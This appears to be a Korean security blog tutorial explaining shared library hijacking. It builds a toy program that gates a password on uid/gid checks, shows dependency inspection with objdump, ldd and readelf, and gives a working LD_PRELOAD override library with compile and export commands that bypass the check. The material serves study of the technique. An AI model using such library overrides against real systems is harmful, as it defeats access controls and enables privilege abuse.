* http://sosal.tistory.com/
* made by so_Sal
*/
1. Shared Library Hijacking?
2. 예제와 Shared library(공유라이브러리) 의존성을 확인법
3. 라이브러리를 만들기 위한 gcc 컴파일러의 옵션
4. 완성된 공격 라이브러리를 이용하여 공격하기
1. Shared Library Hijacking?
공유라이브러리는 심볼(함수,변수)들을 프로그램이 시작하기 전에 로드하여,
필요로 할때마다 연동되는 동적인 라이브러리이다.
메모리, 용량 절약과 라이브러리를 언제든지 업데이트 할 수 있는 융통성을 가지고 있지만
사용자로부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다.
일반적으로 gcc 컴파일을 대부분 아래와 같이 하게된다.
gcc source.c -o source
gcc -o source source.c
이렇게 만들어진 프로그램들은 기본적으로 공유 라이브러리를 참조하는 방식으로
symbol (function, variable) 를 가져온다.
아래 그림은 공유 라이브러리가 프로그램에 적재되는 모습을 보여준다.
사용자가 만든 프로그램 소스는 컴파일 되면서
라이브러리를 프로그램에 포함시키지 않고,
프로그램이 동작중에 필요한 symbol이 있을때
공유 라이브러리를 찾아가서
심볼(함수,변수) 정보를 가져온다.
shared library hijacking 취약점은
라이브러리를 프로그램이 실행될 때,
공유 라이브러리에서 심볼을 적재하는 과정에서
나타나게 된다.
공유 라이브러리를 프로그램에 적재하는 과정에서의 취약점?.
아래 그림은 공유 라이브러리 취약점을 이용한 하이재킹을 보여준다.
예)
프로그램이 system()를 공유라이브 러리를 참조하여 호출 하려고 한다.
하지만 , 프로그램이 system() 가 정의되어있는 공유라이브러리에
도착하기 전에 사용자가 임의로 system()라는 함수가 여기있다! 라고 프로그램에게 전달한 뒤
system(char*) { return "Fuck you" } 이렇게 사용자를 엿맥인다!!
한 프로그램이 실행 권한에서 프로그램 사용 권한을 막지 않고,
euid, ruid나 gid 등으로 사용자의 신분을 확인하여 아래 코드를 진행, 다른 코드로 진행~
하는 프로그램이 있다면.. 이 취약점으로 프로그램을 누구든 원하는 방향으로
이리저리 가지고 놀 수 있다는 엄청난 결과가 초래될 수 있다.
2. 예제를 만들고, 툴을 이용하여 Shared library(공유라이브러리) 의존성을 확인
크랙킹할 파일의 예제 소스
/*
* Attackme
* gcc Attackme.c -o Attackme
*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
int main(void){
uid_t uid = getuid(); // 공유 라이브러리 참조 함수들
gid_t gid = getgid();
uid_t euid = geteuid();
gid_t egid = getegid();
if(uid != 1209 | euid != 1209){
printf("You are not 1209!!. GET AWAY! \n");
exit(EXIT_FAILURE);
}
if(gid != 1209 | egid != 1209){
printf("You are not 1209!!. GET AWAY!! \n");
exit(EXIT_FAILURE);
}
int i,j;
char password[] = "abcdefghij";
for(i=0;i<10;i++)
for(j=0;j<i;j++)
password[i]++;
printf("Password is :: %s\n",password);
return 0;
}
:: 정리
공유 라이브러리에 대한 취약점과 하이재킹 원리를 이해하셨으면 좋겠습니다.
Attackme 소스만 보고도 어떤 공격이 이루어질지 예측 가능하시길
그럼, Shared Library Hijacking 공격 가능 여부를 알아보기 위해 (예제 Attackme)
프로그램이 공유 라이브러리를 참조하는지에 대한 정보를 가져오는 방법에 대해 알아보려 한다.
1) objdump 툴을 이용한 공유 섹션 확인하기
objdump - display information from object files.
파일의 정보들을 추출하여 그 내용을 보여주는 툴
바이너리 파일을 공격하려는 해커들에게 가장 사랑받는 툴이다.
옵션은 하나 이상을 사용해야만 출력할 수 있다.
full contents 옵션 -s 을 사용하여 볼 수 있지만,
-p, --private-headers Display object format specific file header contents
특정 헤더 정보가 담겨있는 오브젝트 포맷을 출력해주는 옵션을 사용하면 편하다.
Dynamic Section:
NEEDED libc.so.6
위 결과로 libc.so.6 하나의 공유 라이브러리를 필요함을 알 수 있다.
이 정보들은 동적 공유 섹션의 NEEDED에 기록되어 있다.
하지만, 위 프로그램이 libc.so.6 하나만 필요한것은 아니다.
공유라이브러리는 내부적으로 또 다른 공유 라이브를 필요로 하기 때문이다.
2) ldd 공유 라이브러리 의존 관계 확인
ldd - print shared library dependencies
공유라이브러리 의존성을 확인하는데 특화된 프로그램
ELF 파일이 실행 하려 할 때 필요한 공유 라이브러리에 대해서 검사하는 프로그램이다.
이 정보들은 동적 섹션의 NEEDED에 기록되어 있다. (objdump 출력문에서도 보았다.)
objdump나 readelf를 사용하여 공유 라이브러리 의존관계를 확인할 수 있지만,
개별적으로 각각의 공유 라이브러리에 대한 의존 관계를 확인해야 하므로 번거롭고,
또한 공유라이브러리의 디렉토리 경로를 정확히 얻기도 어렵다.
ldd라는 프로그램은 사실 단순한 셸 스크립트인데, 중요한것은 환경변수이다.
LD_TRACE_LOADED_OBJECTS에 1을 설정하여 프로그램을 실행시키면
프로그램 실행 시점에 ELF 런타임 로더가 필요한 공유라이브러리를 찾아 메모리에 로딩해서
그 정보를 표시한 후, 실제 프로그램이 실행되기 전에 종료하게 된다.
따라서 ldd를 사용하지 않더라도, 위 환경변수를 이용하면 동일한 결과를 얻을 수 있다.
(-v 옵션을 뺀것과 같은 결과)
3) readelf - ELF 파일 정보 보기
Binary File Descriptor Library(이하 BFD Library) 를 이용하지 않고,
직접 ELF에 접근하여 읽기위한 툴이다.
readelf는 BFD Library를 경유하지 않기 때문에, objdump보다 상세한 정보를 얻을 수 있다.
-d (--dynamic) 옵션을 사용하여 볼 수 있다.
Displays the contents of the file’s dynamic section, if it has one.
- readelf
:: 정리
동적 공유 라이브러리 의존성을 확인하면서 Attackme는 libc.so.6 이 필요한 실행 파일이라는 것을 알 수 있었다.
공유 라이브러리는 /usr/lib나 환경변수 LD_LIBRARY_PATH에 설정되어 있는 경로를 참조한다.
2. ldd 에도 설명되었지만, 환경변수를 이용하여 의존 동적 라이브러리를 확인하기도 하였다.
(사실 ldd 명령은 내부적으로 환경변수 LD_TRACE_LOADED_OBJECTS를 이용해 구현되어 있다.)
3. 라이브러리를 만들기 위한 gcc 컴파일러의 옵션
-shared 옵션
공유 라이브러리를 우선하여 링크하도록 하는 옵션
정적라이브러리와 같이 있을 경우에 우선적으로 공유 라이브러리를 링크하도록 하는데,
사실 아무 옵션을 주지 않아도 공유 라이브러리를 우선적으로 링크한다.
-fpic -fPIC 옵션
gcc 컴파일러가 object file을 만들때, 그 안의 symbol (function, variable)들이
어떤 위치에 있더라도 동작을 하는 구조로 compile 하라는 것입니다
그렇게 된 것만이 리눅스에서 사용 가능한 모듈파일(*.so)이 될 수 있습니다.
모듈파일(*.so)은 안에는 공유 라이브러리가 포함되어있습니다.
-fpic와 -fPIC - 둘의 차이점.
"코드를 생성하기 위해 -fPIC이나 -fpic을 사용하라. 코드를 생성하기 위해
-fPIC이나 -fpic을 사용하는 것은 타겟에 따라서 다르다.
-fPIC을 사용하는것은 언제나 동작한다.
하지만, -fpic을 사용하는 것보다 큰 코드를 생성할 것이다
(PIC은 더 큰코드를 위한것이라서 더 많은 양의코드를 만든다는 것을 기억하라)
-fpic옵션은 작고 빠른 코드를 만든다. 하지만, 전역심볼이나 코드의 크기 같은 것에서
플랫폼에 독립적이다. 링커는 공유 라이브러리를 만들때 이 옵션이 맞는지 말해줄 것이다.
어느것을 써야 할지를 모를때, 나는 언제나 동작하는 -fPIC을 선택한다"
-fpic, -fPIC의 차이점은 KLDP 문서중에 인용하였습니다.
http://kldp.org/HOWTO/html/Program-Library-HOWTO/
4. 공격 라이브러리 만들기
Attackme 파일은 위에서 만든 예제를 사용한다.
/*
* Attack
* gcc Attack.c -fPIC -shared -o Attack.so
*/
#include <dlfcn.h> //동적 라이브러리 관련 헤더파일이지만, 여기서는 사실 큰 의미는 없음
#include <unistd.h>
#include <sys/types.h>
uid_t getuid( void ){
return 1209;
}
uid_t getgid( void ){
return 1209;
}
uid_t geteuid( void ){
return 1209;
}
uid_t getegid( void ){
return 1209;
}
모두 libc.so.6 에 정의되어 있는 함수들이지만,
Attackme 라는 프로그램에서 uid, gid 검사 루틴을 통과하기 위해
모두 리턴값을 1209로 줬다.
상당히 간단한 프로그램이다.
[sosal@localhost ~]$ gcc Attack.c -fPIC -shared -o Attack.so
< 4. 컴파일러 옵션 > 을 보셨다면, 위 컴파일 과정은 충분히 이해 되리라 생각한다.
이제 공유 라이브러리를 만들었으니, 파일을 실행시킬때
libc.so.6 라이브러리 보다 Attack.so 라는 라이브러리를
먼저 참조하도록 만들어야 한다.
[sosal@localhost ~]$ export LD_PRELOAD="/home/sosal/attack.so"
LD_PRELOAD는 프로그램이 라이브러리를 가져오기 전에
원하는 라이브러리를 먼저 등록시켜두는 환경변수로,
프로그램은 LD_PRELOAD로 지정된 공유 오브젝트를 먼저 링크시키게 된다.
프로그램이 사용하는 함수들은 attack.so 에 존재하고, 먼저 링크되었으므로
이 함수들이 실행되게 된다.
이제 실행하면 LD_PRELOAD가 지정한 attack.so 라이브러리를 먼저 링크시키게 되므로
uid , gid 확인하는 루틴에서 if 구문을 모두 만족하기 때문에,
패스워드가 출력되는 루틴으로 들어가게 된다.
[sosal@localhost ~]$ ./attackme
참고 자료 및 문서, 홈페이지
hkpco 박찬암 님의 문서
http://packetstormsecurity.org/papers/attack/shl_hijacking.txt
http://hkpco.kr/paper/udcsc2006_report.txt
yundream 윤상배 님의 블로그
http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/C/Documents/Make_Library
해커가 전수하는 테크닉 100선 Binary Hacks / O'REILLY
유닉스, 리눅스 프로그래밍 필수 유틸리티 / 한빛 미디어
'Major Study. > System hacking' 카테고리의 다른 글
Gera _ Stack #1 (0) | 2010.04.30 |
---|---|
Gera's InsecureProgramming (0) | 2010.04.30 |
Race condition 해킹 기법 문제 (0) | 2010.01.05 |
Linux - BOF metasploit을 이용한 간단한 buffer over flow (4) | 2010.01.05 |
BOF - 01.buffer over flow? 메모리 구조, 레지스터 (2) | 2009.11.01 |